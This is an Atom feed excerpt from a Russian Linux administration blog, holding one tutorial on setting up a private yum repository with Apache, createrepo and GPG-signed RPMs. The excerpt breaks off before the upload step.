<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1204618965226729949</id><updated>2024-09-09T11:17:38.467+06:00</updated><category term="linux"/><category term="Debian"/><category term="CentOS"/><category term="PHP"/><category term="Ubuntu"/><category term="MySQL"/><category term="SaltStack"/><category term="Advanced Packaging Tool"/><category term="Apache HTTP Server"/><category term="Bash"/><category term="Public-key cryptography"/><category term="Secure Shell"/><category term="Apache"/><category term="Mail"/><category term="Red Hat Enterprise Linux"/><category term="SSL"/><category term="File Transfer Protocol"/><category term="Hypervisor"/><category term="LAMP"/><category term="Nginx"/><category term="Operating system"/><category term="Proxmox VE"/><category term="Salt"/><category term="Security"/><category term="Virtualization"/><category term="apt"/><category term="bugfix"/><category term="ssh"/><category term="AWK"/><category term="Aircrack-ng"/><category term="BackUP"/><category term="Dovecot"/><category term="FTP"/><category term="File system"/><category term="GNU Privacy Guard"/><category term="GPG"/><category term="Java"/><category term="Java Development Kit"/><category term="Java Plugin"/><category term="Java Virtual Machine"/><category term="KVM"/><category term="Kernel"/><category term="LAMP (software bundle)"/><category term="Mkdir"/><category term="OpenVZ"/><category term="Operating Systems"/><category term="Port Authority Trans-Hudson"/><category term="Postfix"/><category term="RPM"/><category term="Red Hat"/><category term="Scientific Linux"/><category term="Shell script"/><category term="Ssh-keygen"/><category term="TLS"/><category term="VNC"/><category term="VideoCast"/><category term="Vsftpd"/><category term="WWW"/><category term="Wi-Fi"/><category term="apt-get"/><category term="server"/><category term="Афоризм"/><category term="APC"/><category term="APCUPSD"/><category term="Anonymizing"/><category term="Authentication"/><category term="Bacula"/><category term="Browsers"/><category term="Cache"/><category term="Chef"/><category term="Chef-Server"/><category term="Chmod"/><category term="Chroot"/><category term="Clients"/><category term="Compat-wireless"/><category term="Configure script"/><category term="Crack"/><category term="DSA"/><category term="Drupal"/><category term="Encryption"/><category term="FAQs  Help  and Tutorials"/><category term="Firefox"/><category term="GDM"/><category term="GNOME"/><category term="GNOME Display Manager"/><category term="Google Chrome"/><category term="HTTPS"/><category term="Hack"/><category term="Hostname"/><category term="I2P"/><category term="JRE"/><category term="Java Runtime Environment"/><category term="LANG"/><category term="LNMP"/><category term="Language"/><category term="Languages"/><category term="Load Balancer"/><category term="Loadable kernel module"/><category term="Locale"/><category term="Memcached"/><category term="Modprobe"/><category term="Modules"/><category term="MongoDB"/><category term="Monitoring"/><category term="Nagios"/><category term="Permisson"/><category term="Pressflow"/><category term="Programming"/><category term="ProxyChains"/><category term="Public key fingerprint"/><category term="REPO"/><category term="RHEL"/><category term="RSA"/><category term="Ruby Enterprise Edition"/><category term="Ruby on Rails"/><category term="SASL"/><category term="SMS"/><category term="SQLite"/><category term="SVN"/><category term="Samba"/><category term="Sendmail"/><category term="Servers"/><category term="Shell"/><category term="Socks"/><category term="Subversion"/><category term="Sudo"/><category term="Terminal Server"/><category term="Tor"/><category term="TorProject"/><category term="UTF-8"/><category term="Umask"/><category term="Unix"/><category term="VMware"/><category term="VMware ESX"/><category term="Virtual Network Computing"/><category term="VirtualBox"/><category term="WEP"/><category term="WPA"/><category term="WPA2"/><category term="Web server"/><category term="Wired Equivalent Privacy"/><category term="Wireless"/><category term="X display manager (program type)"/><category term="YUM"/><category term="Zlib"/><category term="deb"/><category term="dpkg"/><category term="git"/><category term="gitosis"/><category term="lvm"/><category term="mdadm"/><category term="pv"/><category term="redmine"/><category term="rsync"/><category term="screen"/><category term="tar"/><category term="udev"/><title type='text'>Sc0rp1us</title><subtitle type='html'>Блог о Linux/Unix, Виртуализации, настройке сервисов, и инновационных технологиях.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>62</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-3545302026903169407</id><published>2014-03-18T17:50:00.000+07:00</published><updated>2014-03-18T17:50:56.873+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="Red Hat Enterprise Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="REPO"/><category scheme="http://www.blogger.com/atom/ns#" term="Scientific Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="YUM"/><title type='text'>Создаём собственный yum репозиторий</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgNKodXmZuEiqOZjTAR0JxvD6fJ02wvF9b4TZiob3dzX6iErX3FCfi4znjE9mPXa9xgaGsdEzdZM15S1XVOysL3Tq7SSdLLGUofkJ5NHAbVn-Dz7HkENY7SMzlrH5TA6o_Jby92uC42RMf/s1600/yum.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgNKodXmZuEiqOZjTAR0JxvD6fJ02wvF9b4TZiob3dzX6iErX3FCfi4znjE9mPXa9xgaGsdEzdZM15S1XVOysL3Tq7SSdLLGUofkJ5NHAbVn-Dz7HkENY7SMzlrH5TA6o_Jby92uC42RMf/s1600/yum.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Подготовим плацдарм на web сервере.&lt;/h3&gt;
В моём случае это debian.&lt;br /&gt;
Поэтому:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://wiki.debian.org/Apt&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Advanced Packaging Tool&quot;&gt;apt-get&lt;/a&gt; install -y &lt;/b&gt;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://httpd.apache.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Apache&quot;&gt;apache2&lt;/a&gt; &lt;/b&gt;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://backup-software.findthebest.com/l/176/rsync&quot; rel=&quot;fdbsoftware&quot; target=&quot;_blank&quot; title=&quot;rsync&quot;&gt;rsync&lt;/a&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Поскольку репозиторий у нас будет yum, создадим для него каталог, и договоримся о том, что пользователь от которого вы будете выкладывать пакеты будет &quot;&lt;b&gt;repmgr&lt;/b&gt;&quot;.&lt;br /&gt;
Вообще пользователь может быть любым, я назвал его так для наглядности, и предполагаю, что он уже есть в системе.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;
Итак создадим каталог, и проставим на него права:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Mkdir&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Mkdir&quot;&gt;mkdir&lt;/a&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-p&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/srv/yum&lt;/span&gt;
chown -R repmgr&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;repmgr &lt;span style=&quot;color: #40015a;&quot;&gt;/srv/yum&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
Далее опишем для конфигурацию apache2 для нашего репозитория:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/apache2/sites-available/yum_repo.conf&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;virtualhost&gt;&lt;/virtualhost&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;ServerAdmin yourname@example.com&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;ServerName yum.example.com&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;DocumentRoot /srv/yum&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;directory&gt;&lt;/directory&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Options FollowSymLinks&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AllowOverride None&lt;/span&gt;
&lt;/pre&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Options Indexes FollowSymLinks MultiViews&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AllowOverride All&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Order allow,deny&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;allow from all&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;LogLevel warn&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;ErrorLog /var/log/apache2/yum_repo-error.log &lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;CustomLog /var/log/apache2/yum_repo-access.log combined&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;ServerSignature On&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;

&lt;b&gt;ln &lt;span style=&quot;color: #44aadd;&quot;&gt;-s&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/apache2/sites-available/yum_repo.conf&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/apache2/sites-enabled/yum_repo.conf&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
И перезапустим apache2:
&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;b&gt;service apache2 restart 
&lt;/b&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Reset_%28computing%29&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Reset (computing)&quot;&gt;Restarting&lt;/a&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Web_server&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Web server&quot;&gt;web server&lt;/a&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; apache2 &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; waiting &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Теперь apache2 должен отвечать по запросу http://yum.example.com листингом пустого каталога.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Подготовка окружения на машине source машине&lt;/h3&gt;
Для подготовки репозитория нам понадобится любой &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.redhat.com/rhel&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Red Hat Enterprise Linux&quot;&gt;RHEL&lt;/a&gt;-like дистрибутив.&lt;br /&gt;
В данном случае я использую &lt;a class=&quot;zem_slink&quot; href=&quot;https://www.scientificlinux.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Scientific Linux&quot;&gt;Scientific Linux&lt;/a&gt; 6.5.&lt;br /&gt;
&lt;br /&gt;
Установим&amp;nbsp;&lt;b&gt;createrepo&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;root@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;# yum install&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;createrepo&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;rsync&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;&amp;nbsp;-y&lt;/span&gt;&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
Подготовим директории для репозитория&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ mkdir &lt;span style=&quot;color: #44aadd;&quot;&gt;-p&lt;/span&gt; ~&lt;span style=&quot;color: #40015a;&quot;&gt;/repo/rhel/6/x86_64&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ mkdir &lt;span style=&quot;color: #44aadd;&quot;&gt;-p&lt;/span&gt; ~&lt;span style=&quot;color: #40015a;&quot;&gt;/repo/pub&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
Скопируем RPM&#39;ки и публичный ключ(если он у вас есть)&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ cp ~&lt;span style=&quot;color: #40015a;&quot;&gt;/rpmbuild/RPMS/x86_64&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt; ~&lt;span style=&quot;color: #40015a;&quot;&gt;/repo/rhel/6/x86_64&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ cp RPM-GPG-KEY-MYORG&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;public ~&lt;span style=&quot;color: #40015a;&quot;&gt;/repo/pub/RPM-GPG-KEY-MYORG&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
Подпишем RPM&#39;ки (если у вас есть GPG ключ, и если вы их еще не подписывали)&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ rpm --resign ~&lt;span style=&quot;color: #40015a;&quot;&gt;/repo/rhel/6/x86_64&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;rpm
&lt;/b&gt;Enter &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Passphrase&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Passphrase&quot;&gt;pass phrase&lt;/a&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; 
Pass phrase is good&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/kernel-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/kernel-debug-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/kernel-debug-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/kernel-debug-devel-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/kernel-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/kernel-debuginfo-common-x86_64-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/kernel-devel-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/kernel-firmware-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/kernel-headers-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/perf-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/perf-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/python-perf-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/repo/rhel/6/x86_64/python-perf-debuginfo-2.6.32-431.el6.myorg.x86_64.rpm&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
&lt;/pre&gt;
&lt;div&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
Настало время создать репозиторий&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ createrepo ~&lt;span style=&quot;color: #40015a;&quot;&gt;/repo/rhel/6/x86_64&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
&lt;/b&gt;Spawning worker &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt; with &lt;span style=&quot;color: #c00000;&quot;&gt;13&lt;/span&gt; pkgs
Workers Finished
Gathering worker results

Saving Primary metadata
Saving file lists metadata
Saving other metadata
Generating sqlite DBs
Sqlite DBs complete&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
После обновления RPM&#39;ок, нужно будет обновить файлы метаданных&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ createrepo --update ~&lt;span style=&quot;color: #40015a;&quot;&gt;/repo/rhel/6/x86_64&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
&lt;/b&gt;
Saving Primary metadata
Saving file lists metadata
Saving other metadata
Generating sqlite DBs
Sqlite DBs complete
&lt;/pre&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
Репозиторий готов, настало время выливать его в на web server.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
